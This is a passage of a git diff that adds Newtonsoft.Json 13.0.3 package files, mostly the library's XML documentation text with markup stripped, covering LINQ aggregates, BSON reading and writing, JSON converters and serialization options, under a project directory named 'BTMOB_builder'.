a transform function on each element of a sequence and + returns the maximum nullable value. + + + + + Computes the sum of a sequence of nullable values. + + + + + Computes the sum of a sequence of + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of values. + + + + + Computes the average of a sequence of values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Computes the sum of a sequence of nullable values. + + + + + Computes the sum of a sequence of nullable + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of nullable values. + + + + + Computes the average of a sequence of nullable values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Returns the minimum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the minimum nullable value. + + + + + Returns the maximum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the maximum nullable value. + + + + + Computes the sum of a sequence of values. + + + + + Computes the sum of a sequence of + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of values. + + + + + Computes the average of a sequence of values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Computes the sum of a sequence of nullable values. + + + + + Computes the sum of a sequence of nullable + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of nullable values. + + + + + Computes the average of a sequence of nullable values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Returns the minimum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the minimum nullable value. + + + + + Returns the maximum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the maximum nullable value. + + + + + Computes the sum of a sequence of values. + + + + + Computes the sum of a sequence of + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of values. + + + + + Computes the average of a sequence of values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Computes the sum of a sequence of nullable values. + + + + + Computes the sum of a sequence of nullable + values that are obtained by invoking a transform function on + each element of the input sequence. + + + + + Computes the average of a sequence of nullable values. + + + + + Computes the average of a sequence of nullable values + that are obtained by invoking a transform function on each + element of the input sequence. + + + + + Returns the minimum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the minimum nullable value. + + + + + Returns the maximum value in a sequence of nullable + values. + + + + + Invokes a transform function on each element of a sequence and + returns the maximum nullable value. + + + + + Represents a collection of objects that have a common key. + + + + + Gets the key of the . + + + + + Defines an indexer, size property, and Boolean search method for + data structures that map keys to + sequences of values. + + + + + Represents a sorted sequence. + + + + + Performs a subsequent ordering on the elements of an + according to a key. + + + + + Represents a collection of keys each mapped to one or more values. + + + + + Gets the number of key/value collection pairs in the . + + + + + Gets the collection of values indexed by the specified key. + + + + + Determines whether a specified key is in the . + + + + + Applies a transform function to each key and its associated + values and returns the results. + + + + + Returns a generic enumerator that iterates through the . + + + + + See issue #11 + for why this method is needed and cannot be expressed as a + lambda at the call site. + + + + + See issue #11 + for why this method is needed and cannot be expressed as a + lambda at the call site. + + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + + This attribute allows us to define extension methods without + requiring .NET Framework 3.5. For more information, see the section, + Extension Methods in .NET Framework 2.0 Apps, + of Basic Instincts: Extension Methods + column in MSDN Magazine, + issue Nov 2007. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.dll new file mode 100644 index 0000000..cd6d483 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.xml new file mode 100644 index 0000000..f55788b --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.xml @@ -0,0 +1,9541 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an Entity Framework to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + 